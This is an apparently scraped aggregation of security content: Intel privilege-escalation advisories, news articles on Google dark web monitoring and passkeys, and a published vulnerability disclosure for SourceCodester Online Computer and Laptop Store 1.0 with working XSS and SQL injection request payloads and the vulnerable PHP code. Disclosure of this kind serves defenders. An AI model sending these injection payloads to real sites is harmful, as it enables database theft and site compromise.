Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® oneAPI Toolkit Advisory**

**Summary: **

A potential security vulnerability in Intel® oneAPI Toolkits may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-29242

Description: Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

All Intel® oneAPI Toolkits (Base, HPC, IoT, AI, DLFD, Rendering) before version 2021.1 Beta 10.

**Recommendations:**

Intel recommends updating Intel® oneAPI Toolkits to version 2021.1 Beta 10 or later.

Manual removal of all installed Beta versions prior to version 2021.1 Beta 10 is required, this removal is not done automatically.

Updates are available for download at this location: https://software.intel.com/content/www/us/en/develop/tools/oneapi/all-toolkits.html

**Acknowledgements:**

Intel would like to thank houjingyi for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-29242: INTEL-SA-00551

Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Trace Analyzer and Collector Advisory**

**Summary:**

A potential security vulnerability in the Intel® Trace Analyzer and Collector may allow an escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-31197

Description: Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

Intel® Trace Analyzer and Collector before version 2020 update 3.

**Recommendation:**

Intel recommends updating the Intel® Trace Analyzer and Collector to version 2020 update 3 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/components/trace-analyzer.html

**Acknowledgements:**

Intel would like to thank Marius Gabriel Mihai for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

**Revision**

**Date**

**Description**

1.0

11/09/2021

Initial Release

2.0

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-31197: INTEL-SA-00475

Improper access control in the Intel(R) Solid State Drive Toolbox(TM) before version 3.4.5 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Solid State Drive Toolbox™ Escalation of Privilege Vulnerability**

Intel ID: 

INTEL-SA-00074

Product family: 

Intel® Solid State Drive Toolbox™

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

May 30, 2017

Last revised: 

May 30, 2017

**Summary:** 

There is an escalation of privilege vulnerability in the Intel® Solid State Drive Toolbox™ versions before 3.4.5 which allow a local administrative attacker to load and execute arbitrary code. 

**Description:** 

There is an escalation of privilege vulnerability in the Intel® Solid State Drive Toolbox™ versions before 3.4.5 which allow a local administrative attacker to load and execute arbitrary code. 

*   ·        CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H (High 7.7)

**Affected products:** 

Intel® Solid State Drive Toolbox™ all versions before 3.4.5

**Recommendations:** 

Intel recommends all users of Affected Products to update to Intel® Solid State Drive Toolbox™ version 3.4.5 and later from https://downloadcenter.intel.com

**Acknowledgements:** 

Intel would like to thank Stefan Kanthak for reporting this issue and working with us on coordinated disclosure.

Revision

Date

Description

1.0

30-May-2017

Initial Release

1.1

09-May-2023

CVE Number Update

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-31199: INTEL-SA-00074

By Deeba Ahmed
Google said that with its dark web monitoring feature, not only will users be able to check their…
This is a post from HackRead.com Read the original post: Google offers Dark Web monitoring for US Gmail users

**Google said that with its dark web monitoring feature, not only will users be able to check their email addresses on the dark web, but they will also receive advice on improving their online security.**

Google has added the dark web report security feature to its security tools. This feature is offered to all Gmail users in the USA, using which they can check if their email address is published on the dark web.

The search engine giant will soon expand this feature to selected foreign markets. Jen Fitzpatrick, Google’s core services SVP, stated that since March 2023, this feature was available only to Google One subscribers in the US, and now its scope is being expanded.

“Previously only available to Google One subscribers in the US, we’re expanding access to our dark web report in the next few weeks, so anyone with a Gmail account in the US will be able to run scans to see if your Gmail address appears on the dark web and receive guidance on what actions to take to protect yourself.”

Image: Google

**How Will it Improve Data Protection?**

As far as the new dark web monitoring feature is concerned, Google has explained that not only will users be able to check their email addresses on the dark web but will also receive advice on improving their online security. Chrome browser already features a built-in password manager, which helps them keep their data protected.

Using this feature, Gmail users can take their data protection a step ahead with guidance from Google, such as enabling 2FA protection to prevent their accounts from hijacking.

Moreover, Google will notify Gmail users whenever they need to check if their email address is part of any data breaches and may end up on the dark web. This data can end up on the dark web through data breaches suffered by platforms or services a user has subscribed for. It is then sold to cybercriminals who use it for conducting identity theft, phishing scams, and banking fraud.

**What Information can be Checked?**

According to Google, the report generated through this feature will inform the user about the presence of their personal data such as their name, email address, physical address, contact information, and Social Security Number.

The user will be promptly notified if the data is found. If you are a Google One subscriber, you can enable this feature after creating a monitoring profile and clicking Setup> Dark Web Report> Start monitoring.

**When was it Announced?**

The new feature was announced at the Google I/O annual developer conference and will be rolled out within a few weeks. At the conference, the company also confirmed introducing many new security features to improve its products and services protections. This includes adding spam protection to Google Drive and allowing users to delete search history in Google Maps.

1.  The 5 Best Cloud Performance Monitoring Tools
2.  Firefox Monitor tool informs users if they’ve been hacked
3.  Google will ‘auto-delete’ your location & web activity data
4.  On Dark Web Facebook ID is worth $5.20 & Gmail ID is $1

Google offers Dark Web monitoring for US Gmail users

A vulnerability, which was classified as critical, was found in SourceCodester Online Computer and Laptop Store 1.0. This affects an unknown part of the file view_product.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228801 was assigned to this vulnerability.

**Exploit Title: Online Computer and Laptop Store - Multiple vulnerabilities****Date: 2023-05/11****Exploit Author: xiahao@webray.com.cn****Vendor Homepage: https://www.sourcecodester.com****Software Link: https://www.sourcecodester.com/download-code?nid=16397&title=Online+Computer+and+Laptop+Store+using+PHP+and+MySQL+Source+Code+Free+Download****Version: 1.0****Tested on: macOs 13.3.1 (a) + phpstudy****1.Xss vulnerability in products.php****Sample request POC #1**

    http://10.211.55.3:8001/?p=products&search=%3Cscript%3Ealert(1)%3C/script%3E
    

**Browser Access Results**

**Related Codes /products.php**

    ...
    <div class="<?php echo isset($_GET['c'])? 'col-md-9': 'col-lg-10 offset-md-1' ?>">
                <div class="container-fluid p-0">
                    <?php if(isset($_GET['search'])): ?>
                        <h4 class="text-center py-5"><b>Search Results for '<?php echo $_GET['search'] ?>'</b></h4>
                    <?php endif; ?>
                <div class="row gx-2 gx-lg-2 row-cols-1 row-cols-md-3 row-cols-xl-4">
    ...
    

**2.SQL injection vulnerability in products.php****Sample request POC #2**

    GET /?p=products&c=%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x717a626271,0x6b5378665945517142636658635356665470564a4a7475446563554a4e52454a6173464a426f4451,0x717a6b6a71),NULL,NULL,NULL--%20-&s= HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /products.php**

    <?php 
    $title = "";
    $sub_title = "";
    if(isset($_GET['c']) && isset($_GET['s'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $result =$cat_qry->fetch_assoc();
            $title = $result['category'];
            $cat_description = $result['description'];
        }
     $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $result =$sub_cat_qry->fetch_assoc();
            $sub_title = $result['sub_category'];
            $sub_cat_description = $result['description'];
        }
    }
    elseif(isset($_GET['c'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $result =$cat_qry->fetch_assoc();
            $title = $result['category'];
            $cat_description = $result['description'];
        }
    }
    elseif(isset($_GET['s'])){
        $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $result =$sub_cat_qry->fetch_assoc();
            $sub_title = $result['sub_category'];
            $sub_cat_description = $result['description'];
        }
    }
    ?>
    

**3.SQL injection vulnerability in view\_product.php****Sample request POC #3**

    GET /?p=view_product&id=' UNION ALL SELECT 49,49,49,49,49,49,49,49,CONCAT(0x7162627a71,0x4b7a41414f754952634f73526d53446571737665437179644c4f5253534255656463747063445a59,0x7176786b71)-- - HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /view\_product.php**

    <?php 
     $products = $conn->query("SELECT p.*,b.name as bname FROM `products` p inner join brands b on p.brand_id = b.id where md5(p.id) = '{$_GET['id']}' ");
     if($products->num_rows > 0){
         foreach($products->fetch_assoc() as $k => $v){
             $$k= stripslashes($v);
         }
         $specs_qry = $conn->query("SELECT `meta_field`, `meta_value` FROM `specification_list`  where `product_id` = '{$id}'");
         $specs = array_column($specs_qry->fetch_all(MYSQLI_ASSOC), 'meta_value', 'meta_field');
        $upload_path = base_app.'/uploads/product_'.$id;
        $img = "";
        if(is_dir($upload_path)){
            $fileO = scandir($upload_path);
            if(isset($fileO[2]))
                $img = "uploads/product_".$id."/".$fileO[2];
            // var_dump($fileO);
        }
        $inventory = $conn->query("SELECT * FROM inventory where product_id = ".$id);
        $inv = array();
        while($ir = $inventory->fetch_assoc()){
            $inv[] = $ir;
        }
        $sold = $conn->query("SELECT SUM(ol.quantity) as sold FROM order_list ol inner join orders o on o.id = ol.order_id where ol.product_id='{$id}' and o.`status` != 4 ");
        $sold = $sold->num_rows > 0 ? $sold->fetch_assoc()['sold'] : 0;
     }
    ?>
    

**4.SQL injection vulnerability in view\_categories.php****Sample request POC #4**

    GET /?p=view_categories&c=' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x69424d474c4c6357514a6d7a5559647757794d756677554f7146785467646b666b466249504c776f,0x717a767871),NULL,NULL,NULL-- -&s= HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /view\_categories.php**

    <?php 
    $title = "All Product Categories";
    $sub_title = "";
    if(isset($_GET['c']) && isset($_GET['s'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $title = $cat_qry->fetch_assoc()['category'];
        }
     $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $sub_title = $sub_cat_qry->fetch_assoc()['sub_category'];
        }
    }
    elseif(isset($_GET['c'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $title = $cat_qry->fetch_assoc()['category'];
        }
    }
    elseif(isset($_GET['s'])){
        $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $title = $sub_cat_qry->fetch_assoc()['sub_category'];
        }
    }
    ?>
    

**5.SQL injection vulnerability in ./classes/Master.php****Sample request POC #5**

    POST /classes/Master.php?f=delete_category HTTP/1.1
    Host: 10.211.55.3:8001
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 114
    
    id=' AND GTID_SUBSET(CONCAT(0x717a6a7071,(SELECT (ELT(3659=3659,1))),0x71707a7071),3659)-- Hjjr
    
    

**Sqlmap running results**

**Related Codes ./classes/Master.php**

    ...
    	function delete_category(){
    		extract($_POST);
    		$del = $this->conn->query("DELETE FROM `categories` where id = '{$id}'");
    		if($del){
    			$resp['status'] = 'success';
    			$this->settings->set_flashdata('success',"Category successfully deleted.");
    		}else{
    			$resp['status'] = 'failed';
    			$resp['error'] = $this->conn->error;
    		}
    		return json_encode($resp);
    
    	}
    ...

CVE-2023-2659: CVEproject/Online-Computer-and-Laptop-Store---Multiple-vulnerabilities.md at main · xiahao90/CVEproject

A vulnerability was found in SourceCodester Online Computer and Laptop Store 1.0 and classified as critical. This issue affects some unknown processing of the file /classes/Master.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-228803.

CVE-2023-2661: CVEproject/Online-Computer-and-Laptop-Store---Multiple-vulnerabilities.md at main · xiahao90/CVEproject

Categories: News
Tags: Google passkey

Tags:  passkey

Tags:  passwordless future

Tags:  passwordless

Tags:  phishing

Google is offering users the best option to date to securing their accounts from phishing. (Hint: It's not passwords.)



(Read more...)




The post Google Passkeys: How to create one and when you shouldn't appeared first on Malwarebytes Labs.

Google has just brought users closer to a passwordless future.

In a recent blog post, the tech giant introduced the option to create and use a safer, more convenient alternative to passwords: Passkeys, a form of digital credential. So, how do they work?

Passkeys are generated using public-key cryptography, or asymmetric encryption, which involves using a pair of public and private keys. The public key is stored on the side of the app or website, while the private key, a main component of the passkey, is stored on the device. Websites have no access to the value of the passkey. When a Google user logs in to their account using a passkey, Google checks if the website has a corresponding public key.

This method of authentication makes accounts significantly more resilient, because, unlike a password, the key can't be phished, stolen from the website it's stored on, or intercepted in transit. It also means the account cannot be subject to an attack as a result of a weak password or password re-use, because there is no password.

As the authors of the blog put it:

> "Using passwords puts a lot of responsibility on users. Choosing strong passwords and remembering them across various accounts can be hard. In addition, even the most savvy users are often misled into giving them up during phishing attempts. 2SV (2FA/MFA) helps, but again puts strain on the user with additional, unwanted friction and still doesn’t fully protect against phishing attacks and targeted attacks like 'SIM swaps' for SMS verification. Passkeys help address all these issues."

The blog authors identified some benefits users could get out of using Google passkeys:

*   **Guaranteed access.** Suppose you created a passkey on a Google account you access with your smartphone. In that case, you can use this passkey to access that Google account on other devices like a laptop. Synchronizing the passkey to the device isn't needed as long as the phone is near the device and you approve the sign-in on your phone. If you create a passkey for your laptop—or for each device you own—you won't need your phone anymore to access your Google account.
*   "**Backup" key.** Some platforms securely back up your passkeys and sync them with other devices. For example, a passkey created on your iPhone will also be available on your other Apple devices if you're logged in to the same iCloud account. This prevents a user from getting locked out if they lose a device. Passkeys also make upgrading to a new device easier, as you only need to sync it with the rest of your devices.
*   **Phishing and breach protection.** Because passkeys cannot be stolen, phishers won't be able to get their hands on your account credentials. Similarly, passkeys cannot be reused or exposed in a data breach.
*   **It can replace physical security keys.** Google said that passkeys are "strong enough that they can stand in for security keys for users." A security key is a physical device used to sign in to your accounts. Like passkeys, it's another passwordless method of authentication. An example of a security key is YubiKey.

It's worth noting that passkeys use the three common types of information used in MFA: Something you have (like a smartphone), something you are (your biometrics), or something you know (like a PIN or pattern). This makes passkeys a form of MFA. However, according to the FIDO Alliance, some regulatory bodies have yet to make this recognition, something the alliance is already actively working towards.

**Minimum hardware and software requirements**

Google has listed what you'll need in order to create a passkey: Windows 10 or macOS Ventura (or later) running Chrome 109, Safari 16, or Edge 109 (or later), or iOS16 or Android 9 (or later) on a mobile device.

You also need to enable screen lock, especially Bluetooth, if you want to use passkeys on the phone to sign in to another device.

**When you _shouldn't_ create a passkey**

Passkeys should only be created on devices you personally control. That said, you shouldn't make a passkey using a Google Workspace account through a school or employer. You also shouldn't create one on devices you share with other people, like your family computer, as anyone using the device will have access to your Google account. Even if you sign out of your account, once a passkey is created on that device, anyone who can unlock the device can sign in back into your account with the passkey.

**How to create a passkey in two simple steps**

I used an iOS device here.

1\. Go to g.co/passkeys to trigger the process.

You can also log in to your Google account. From the **Home** page, go to **Security**. Scroll down to **How you sign in to Google** and pick **Passkeys** as an added sign-in option. You'll land on the same page as above.

2\. Click **Create a passkey**. An overlay will display, confirming that you can create a passkey on the device. Click **Continue**.

Note: If you have your **iCloud Keychain** disabled, your device will prompt you to enable it.

And you're done!

The first time you sign in, the computer displays a QR code you can scan with your mobile device's camera. Once signed in, you may be prompted to create a passkey for the computer. As we've said, only agree if you don't share the computer with anyone.

If in the future, you decide to stop using passkeys, Google gives you the option to remove them. You can also opt out of using passkeys entirely. In cases when devices have been lost or stolen, or the passkey goes missing or unavailable, you can check Google's recommendations on this Account Help page.

Google isn't the only company that has been working on an alternative to passwords. Apple and Microsoft have also announced they'll support passkeys on their respective platforms to address password problems. 

Watch this space!

Malwarebytes removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

TRY NOW

Google Passkeys: How to create one and when you shouldn't

Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().

*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Fashion**  
    High Resolution: No, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Technology**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Shopping**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **OpenCart** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: OpenCart 3.0.3.x, OpenCart 3.0.2.x, OpenCart 3.0.1.x, OpenCart 3.0.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Health & Beauty**  
    High Resolution: Yes, Compatible Browsers: IE10, IE11, Firefox, Safari, Opera, Chrome, Edge, Compatible With: Bootstrap 4.x, Software Version: PrestaShop 8.0, PrestaShop 1.7.8.x, PrestaShop 1.7.7.x, PrestaShop 1.7.6.x, PrestaShop 1.7.5.x, PrestaShop 1.7.4.x, PrestaShop 1.7.3.x, PrestaShop 1.7.2.x, PrestaShop 1.7.1.x, PrestaShop 1.7.0.x, Columns: 4+
    
*   *   Add to Favorites
    *   Add to Collection
    *   Add to Cart
    
    in **eCommerce** / **PrestaShop** / **Miscellaneous**  
